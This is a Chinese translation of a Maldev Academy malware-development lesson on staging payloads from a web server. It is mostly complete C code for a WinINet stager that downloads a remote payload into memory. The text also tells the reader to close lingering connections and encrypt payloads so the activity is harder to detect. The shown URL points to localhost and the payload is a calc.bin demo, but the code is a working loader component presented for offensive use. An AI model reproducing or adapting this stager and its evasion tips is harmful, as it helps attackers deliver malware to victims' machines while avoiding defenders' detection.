跳至主要內容

30-载荷暂存 - Web服务器

Maldevacademy大约 8 分钟安全开发

简介

到目前为止,在所有模块中,有效负载一直直接存储在二进制文件中。这是一种获取有效负载的快速且常用的方法。不幸的是,在某些存在有效负载大小限制的情况下,将有效负载保存在代码中并不是一种可行的办法。替代方案是在 Web 服务器上托管有效负载,并在执行期间获取它。

设置网络服务器

此模块要求一个网络服务器来托管有效负载文件。最简单的方法是使用 Python 的 HTTP 服务器,使用以下命令:

python -m http.server 8000

请注意,有效负载文件应托管在执行此命令的目录中。

image
image

要验证网络服务器是否正常工作,请使用浏览器访问 http://127.0.0.1:8000open in new window

image
image

获取 Payload

为了从 Web 服务器获取 Payload,将使用以下 Windows API:

打开 Internet 会话

第一步是使用 InternetOpenWopen in new window 函数打开一个 Internet 会话句柄,该函数用于初始化应用程序使用 WinINet 函数。由于主要用于代理相关事项,因此传递到 WinAPI 的所有参数均为 NULL。值得注意的是,将第二个参数设置为 NULL 等效于使用 INTERNET_OPEN_TYPE_PRECONFIG,它指定应使用系统当前配置来确定 Internet 连接的代理设置。

HINTERNET InternetOpenW(
  [in] LPCWSTR lpszAgent,       // NULL
  [in] DWORD   dwAccessType,    // NULL 或 INTERNET_OPEN_TYPE_PRECONFIG
  [in] LPCWSTR lpszProxy,       // NULL
  [in] LPCWSTR lpszProxyBypass, // NULL
  [in] DWORD   dwFlags          // NULL
);

调用函数的过程如下所示。

// 打开 Internet 会话句柄
hInternet = InternetOpenW(NULL, NULL, NULL, NULL, NULL);

打开 Payload 的句柄

接下来将使用 InternetOpenUrlWopen in new window WinAPI,在此 API 中将建立到 Payload URL 的连接。

HINTERNET InternetOpenUrlW(
  [in] HINTERNET hInternet,       // 由 InternetOpenW 打开的句柄
  [in] LPCWSTR   lpszUrl,         // Payload 的 URL
  [in] LPCWSTR   lpszHeaders,     // NULL
  [in] DWORD     dwHeadersLength, // NULL
  [in] DWORD     dwFlags,         // INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
  [in] DWORD_PTR dwContext        // NULL
);

以下是函数调用的代码片段。函数的第五个参数使用 INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID,以提高服务器端发生错误时 HTTP 请求的成功率。可以使用其他标志,如 INTERNET_FLAG_IGNORE_CERT_CN_INVALID,但这将留给读者自行决定。这些标志在 Microsoft 的 文档open in new window 中有详细说明。

// 打开 Payload URL 的句柄
hInternetFile = InternetOpenUrlW(hInternet, L"http://127.0.0.1:8000/calc.bin", NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);

读取数据

InternetReadFileopen in new window 是下一个用于读取有效负载的 WinAPI。

BOOL InternetReadFile(
  [in]  HINTERNET hFile,                  // 由 InternetOpenUrlW 打开的句柄
  [out] LPVOID    lpBuffer,               // 存储有效负载的缓冲区
  [in]  DWORD     dwNumberOfBytesToRead,  // 要读取的字节数
  [out] LPDWORD   lpdwNumberOfBytesRead   // 指向接收已读取字节数的变量的指针
);

在调用此函数之前,必须分配一个缓冲区来保存有效负载。因此,LocalAllocopen in new window 用于分配一个与有效负载相同大小(272 字节)的缓冲区。分配缓冲区后,可以使用 InternetReadFile 读取有效负载。此函数需要读取的字节数,在本例中为 272

pBytes = (PBYTE)LocalAlloc(LPTR, 272);
InternetReadFile(hInternetFile, pBytes, 272, &dwBytesRead)

关闭 InternetHandle

InternetCloseHandleopen in new window 用于关闭 InternetHandle。当有效负载成功获取后,应该调用此函数。

BOOL InternetCloseHandle(
  [in] HINTERNET hInternet // 由 InternetOpenW 和 InternetOpenUrlW 打开的句柄
);

关闭 HTTP/S 连接

需要注意的是,InternetCloseHandle WinAPI 不会关闭 HTTP/S 连接。WinInet 会尝试重用连接,因此,即使句柄已关闭,连接仍然处于活动状态。关闭连接对于降低被检测出的可能性至关重要。例如,创建了一个从 GitHub 获取 payload 的二进制文件。下图显示了二进制文件仍然连接到 GitHub,即使二进制文件的执行已完成。

image
image

幸运的是,解决方案非常简单。所需要做的就是使用 InternetSetOptionW WinAPI 告诉 WinInet 关闭所有连接。

BOOL InternetSetOptionW(
  [in] HINTERNET hInternet,     // NULL
  [in] DWORD     dwOption,      // INTERNET_OPTION_SETTINGS_CHANGED
  [in] LPVOID    lpBuffer,      // NULL
  [in] DWORD     dwBufferLength // 0
);

使用 INTERNET_OPTION_SETTINGS_CHANGED 标志调用 InternetSetOptionW 将导致系统更新其 Internet 设置的缓存版本,从而导致 WinInet 保存的连接被关闭。

InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);

载荷分段 - 代码片段

GetPayloadFromUrl 函数使用前面讨论的步骤从远程服务器获取载荷并将其存储在缓冲区中。

BOOL GetPayloadFromUrl() {
	HINTERNET	hInternet              = NULL, // Internet 会话句柄
			    hInternetFile          = NULL; // Internet 文件句柄

	PBYTE		pBytes                 = NULL; // 字节指针

	DWORD		dwBytesRead            = NULL; // 读取字节数

	// 打开 Internet 会话句柄
	hInternet = InternetOpenW(NULL, NULL, NULL, NULL, NULL);
	if (hInternet == NULL) {
		printf("[!] InternetOpenW 失败,错误:%d \n", GetLastError());
		return FALSE;
	}

	// 打开指向载荷 URL 的句柄
	hInternetFile = InternetOpenUrlW(hInternet, L"http://127.0.0.1:8000/calc.bin", NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);
	if (hInternetFile == NULL) {
		printf("[!] InternetOpenUrlW 失败,错误:%d \n", GetLastError());
		return FALSE;
	}

	// 分配载荷缓冲区
	pBytes = (PBYTE)LocalAlloc(LPTR, 272);

	// 读取载荷
	if (!InternetReadFile(hInternetFile, pBytes, 272, &dwBytesRead)) {
		printf("[!] InternetReadFile 失败,错误:%d \n", GetLastError());
		return FALSE;
	}

	InternetCloseHandle(hInternet);
	InternetCloseHandle(hInternetFile);
	InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);
	LocalFree(pBytes);

	return TRUE;
}

动态有效负载大小分配

上述实现仅适用于已知有效负载大小的情况。当大小未知或大于 InternetReadFile 中指定的字节数时,将发生堆栈溢出,导致二进制文件崩溃。

解决此问题的其中一种方法是将 InternetReadFile 放在 while 循环中,并连续读取恒定值字节,对于此示例,该值为 1024 字节。字节直接存储在大小相同的临时缓冲区中,对于此示例,该值为 1024。临时缓冲区将追加到总字节缓冲区中,该缓冲区将持续重新分配以适合每个新读取的 1024 字节块。一旦 InternetReadFile 读取的值小于 1024,则表示已到达文件末尾,并且会退出循环。

通过动态分配暂存有效负载 - 代码片段

BOOL GetPayloadFromUrl() {

	HINTERNET	hInternet              = NULL, // Internet 会话句柄
			    hInternetFile          = NULL; // Internet 文件句柄
	
	DWORD		dwBytesRead            = NULL; // 已读字节数
  
	SIZE_T		sSize                   = NULL; // 有效负载总大小
	
	PBYTE		pBytes                  = NULL; // 有效负载的堆缓冲区
	PBYTE		pTmpBytes               = NULL; // 大小为 1024 字节的临时缓冲区

	// 打开 Internet 会话句柄
	hInternet = InternetOpenW(NULL, NULL, NULL, NULL, NULL);
	if (hInternet == NULL) {
		printf("[!] InternetOpenW 失败,错误代码:%d \n", GetLastError());
		return FALSE;
	}

	// 打开有效负载 URL 的句柄
	hInternetFile = InternetOpenUrlW(hInternet, L"http://127.0.0.1:8000/calc.bin", NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);
	if (hInternetFile == NULL) {
		printf("[!] InternetOpenUrlW 失败,错误代码:%d \n", GetLastError());
		return FALSE;
	}

	// 为临时缓冲区分配 1024 字节
	pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024);
	if (pTmpBytes == NULL) {
		return FALSE;
	}

	while (TRUE) {

		// 将 1024 字节读入临时缓冲区
		// 如果最后一段少于 1024 字节,则 InternetReadFile 将读取更少的字节
		if (!InternetReadFile(hInternetFile, pTmpBytes, 1024, &dwBytesRead)) {
			printf("[!] InternetReadFile 失败,错误代码:%d \n", GetLastError());
			return FALSE;
		}

		// 更新总缓冲区的大小
		sSize += dwBytesRead;

		// 如果尚未分配总缓冲区
		// 则分配与已读字节数大小相同的缓冲区,因为已读字节数可能小于 1024 字节
		if (pBytes == NULL)
			pBytes = (PBYTE)LocalAlloc(LPTR, dwBytesRead);
		else
			// 否则,将 pBytes 重新分配为总大小 sSize
			// 这是为了容纳整个有效负载
			pBytes = (PBYTE)LocalReAlloc(pBytes, sSize, LMEM_MOVEABLE | LMEM_ZEROINIT);

		if (pBytes == NULL) {
			return FALSE;
		}

		// 将临时缓冲区追加到总缓冲区的末尾
		memcpy((PVOID)(pBytes + (sSize - dwBytesRead)), pTmpBytes, dwBytesRead);

		// 清理临时缓冲区
		memset(pTmpBytes, '\0', dwBytesRead);

		// 如果读取的字节数小于 1024,则意味着已到达文件末尾
		// 因此,退出循环
		if (dwBytesRead < 1024) {
			break;
		}

		// 否则,读取下一个 1024 字节
	}

	// 清理资源
	InternetCloseHandle(hInternet);
	InternetCloseHandle(hInternetFile);
	InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);
	LocalFree(pTmpBytes);
	LocalFree(pBytes);

	return TRUE;
}

Payload 分阶段加载 - 代码片段

GetPayloadFromUrl 函数现在接受 3 个参数:

  • szUrl- Payload 的 URL。

  • pPayloadBytes - 以包含 Payload 的缓冲区的基本地址返回。

  • sPayloadSize - 已读取的 Payload 的总大小。

该函数还将在 Payload 的检索完成后正确关闭 HTTP/S 连接。

BOOL GetPayloadFromUrl(LPCWSTR szUrl, PBYTE* pPayloadBytes, SIZE_T* sPayloadSize) {

	BOOL		bSTATE            = TRUE;

	HINTERNET	hInternet         = NULL,
			    hInternetFile     = NULL;

	DWORD		dwBytesRead       = NULL;
	
	SIZE_T		sSize             = NULL;
	PBYTE		pBytes            = NULL,
			    pTmpBytes          = NULL;



	hInternet = InternetOpenW(NULL, NULL, NULL, NULL, NULL);
	if (hInternet == NULL){
		printf("[!] InternetOpenW Failed With Error : %d \n", GetLastError());
		bSTATE = FALSE; goto _EndOfFunction;
	}


	hInternetFile = InternetOpenUrlW(hInternet, szUrl, NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);
	if (hInternetFile == NULL){
		printf("[!] InternetOpenUrlW Failed With Error : %d \n", GetLastError());
		bSTATE = FALSE; goto _EndOfFunction;
	}


	pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024);
	if (pTmpBytes == NULL){
		bSTATE = FALSE; goto _EndOfFunction;
	}

	while (TRUE){

		if (!InternetReadFile(hInternetFile, pTmpBytes, 1024, &dwBytesRead)) {
			printf("[!] InternetReadFile Failed With Error : %d \n", GetLastError());
			bSTATE = FALSE; goto _EndOfFunction;
		}

		sSize += dwBytesRead;

		if (pBytes == NULL)
			pBytes = (PBYTE)LocalAlloc(LPTR, dwBytesRead);
		else
			pBytes = (PBYTE)LocalReAlloc(pBytes, sSize, LMEM_MOVEABLE | LMEM_ZEROINIT);

		if (pBytes == NULL) {
			bSTATE = FALSE; goto _EndOfFunction;
		}
		
		memcpy((PVOID)(pBytes + (sSize - dwBytesRead)), pTmpBytes, dwBytesRead);
		memset(pTmpBytes, '\0', dwBytesRead);

		if (dwBytesRead < 1024){
			break;
		}
	}
	


	*pPayloadBytes = pBytes;
	*sPayloadSize  = sSize;

_EndOfFunction:
	if (hInternet)
		InternetCloseHandle(hInternet); // 关闭 Internet 会话
	if (hInternetFile)
		InternetCloseHandle(hInternetFile); // 关闭 Internet 文件
	if (hInternet)
		InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0); // 重置 Internet 选项
	if (pTmpBytes)
		LocalFree(pTmpBytes);
	return bSTATE;
}

实施注意事项

此模块中,有效负载是从互联网作为原始二进制数据检索的,没有任何加密或混淆。虽然该方法可以规避分析二进制代码中恶意活动迹象的基本安全措施,但它会被网络扫描工具标记。因此,如果有效负载未加密,则传输过程中捕获的数据包可能包含有效载荷的可识别片段。这可能会暴露有效载荷的签名,从而导致实现过程被标记。

在实际场景中,即使在运行时获取有效负载,也始终建议对其进行加密或混淆。

运行最终二进制文件

二进制文件成功获取了有效载体。

image
image

执行完成后,连接将关闭。

image
image